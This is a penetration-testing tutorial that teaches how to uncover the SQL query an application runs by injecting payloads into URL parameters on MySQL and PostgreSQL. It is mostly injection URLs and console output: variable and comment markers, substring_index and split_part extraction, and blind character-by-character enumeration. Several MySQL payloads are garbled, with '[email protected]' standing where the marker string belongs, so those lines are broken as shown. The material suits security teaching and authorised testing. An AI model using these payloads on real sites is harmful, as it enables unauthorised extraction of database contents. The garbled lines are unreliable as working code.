SQL Query SQLi context tutorial

There are many times when performing a penetration test that an auditor can run into a blind SQL injection vulnerability. In some cases, the vulnerability is not actually blind and can be accessed using a union select or joint select statement; however in-band exploitation is impossible without knowing the SQL query generated by the vulnerable application. This post will guide the reader through usable queries for enumeration that can be leveraged to discover the SQL statement currently being exploited. It assumes that the reader already understands how to enumerate data through an SQL injection vulnerability.

The Currently Executing Query

The queries here were tested on MySQL Server version 5.1 (documentation) and PostgreSQL Serverversion 9.1 (documentation); to test these without an environment, use the SQL Fiddle. In MySQL, the following query returns itself:

mysql> select info from information_schema.processlist where id=connection_id();
+--------------------------------------------------------------------------+
| info |
+--------------------------------------------------------------------------+
| select info from information_schema.processlist where id=connection_id() |
+--------------------------------------------------------------------------+
1 row in set (0.12 sec)

Similarly, in PostgreSQL 9.1, the query below will suffice:

select query from pg_stat_activity where pid=pg_backend_pid();

When injecting into a query, these payloads can be used to discover the context of the query being injected; but there is a crucial problem yet to solve, addressed below.

Challenges Introduced by Enumeration

When enumerating data, a URL may look similar to:

http://domain.tld/file.ext?id=1 and [query][comparison]

Enumerating data can take 8 requests to retrieve a single byte, and works by asking the server to perform a series of comparisons (yes or no questions) until a value can be isolated. Because the comparisons are changing as the value of the data is being discovered, attempting to run the above queries on their own using an automated tool through an injection would probably fail when the tool begins attempting to enumerate data that it is changing each request.

To compensate for this, a "needle" can be inserted into a MySQL query by assigning a value to a variable. This needle can then be used as a marker to determine when to stop enumerating the data, or even to select only parts of the executing query that do not change. Suppose table `entry' is accessed by the vulnerable page, running the following query:

mysql> select * from entry where id=1;
+----+-------------+
| id | name|
+----+-------------+
|1 | First entry |
+----+-------------+
1 row in set (0.02 sec)

The important part of the query in this situation that a remote attacker can't see is "select * from entry where id=". A valid injection to set the variable "myvar" may look like:

http://domain.tld/file.ext?id=1 and @myvar:=10

Which would turn the query into:

select * from entry where id=1 and @myvar:=10;

The purpose of defining a variable is not to use it at any point, however to inject it as a marker. It can be used as a needle when passed as an argument to MySQL's substring_index() function. A union select example illustrates this below:

mysql> select * from entry where id=1 and @myvar:=10
-> union select 1,substring_index(
-> (select info from information_schema.processlist where id=connection_id()),
-> [email protected]',
-> 1);
+----+-------------------------------------+
| id | name|
+----+-------------------------------------+
|1 | First entry |
|1 | select * from entry where id=1 and|
+----+-------------------------------------+
2 rows in set (0.00 sec)

Notice that the second line containing the output of the union select is the currently executing SQL query only UP TO the point of the injected needle. This example won't work during a blind SQL injection, though. A url to enumerate the information with blind SQL injection may look something like:

http://domain.tld/file.ext?id=1 and @myvar:=10 and ascii(substring(substring_index(
(select info from information_schema.processlist where id=connection_id()),[email protected]'
,1),1,1)) between 0 and 255

(Newlines added for legibility)

The above query should always be true on MySQL databases, because the ascii code of the first character of the query being executed should always be between 0 and 255. It would generate the following query and output as a "true" statement:

mysql> select * from entry where id=1 and @myvar:=10
-> and ascii(substring(substring_index(
-> (select info from information_schema.processlist where id=connection_id()),
-> [email protected]',
-> 1),1,1)) between 0 and 255;
+----+-------------+
| id | name|
+----+-------------+
|1 | First entry |
+----+-------------+
1 row in set (0.05 sec)

Unfortunately, the info column of MySQL's information_schema.processlist table will not contain comments in the query, and thusly they cannot be used as needles during injection.

PostgreSQL, on the other hand, does not have a substring_index() function. It provides the same feature using a function called split_part(). PostgreSQL also wont let developers use WHERE clauses for in-line variable definitions. On the bright side, PostgreSQL does retrieve comments from its "pg_stat_activity" view. An example enumeration URL for a PostgreSQL injection:

http://domain.tld/file.ext?id=1/*marker*/ and ascii(substring(split_part((select 
query from pg_stat_activity where pid=pg_backend_pid()),'/*marker*/',1),1,1)) 
between 0 and 255

(Newlines added for legibility)

This may turn the query into something like:

select * from entry where id=1/*marker*/ and ascii(substring(split_part((select 
query from pg_stat_activity where pid=pg_backend_pid()),'/*marker*/',1),1,1)) 
between 0 and 255

(Newlines added for legibility)

There are some rare edge cases in which multiple queries will be executing within the PID context. This can happen because of INSERT DELAYED statements or a variety of other concurrency tricks (like triggers). In order to be sure the query only returns the correct row, consider appending a LIKE condition and a limit clause (be sure to urlencode the "%" SQL wildcard character as %25):

http://domain.tld/file.ext?id=1/*marker*/ and ascii(substring(split_part((select 
query from pg_stat_activity where pid=pg_backend_pid() and query like '%marker%'
limit 1),'/*marker*/',1),1,1)) between 0 and 255

(Newlines added for legibility)

A similar clause will work on MySQL:

http://domain.tld/file.ext?id=1 and @myvar:=10 and ascii(substring(substring_index(
(select info from information_schema.processlist where id=connection_id() and info
like [email protected]' limit 1),[email protected]%',1),1,1)) between 0 and 255

(Newlines added for legibility)

Being able to determine a query context like this can be a valuable skill; it may be possible to extract data with methods better than blind enumeration once the query has been revealed. More on this topic will be addressed in our upcoming SQL injection workshop.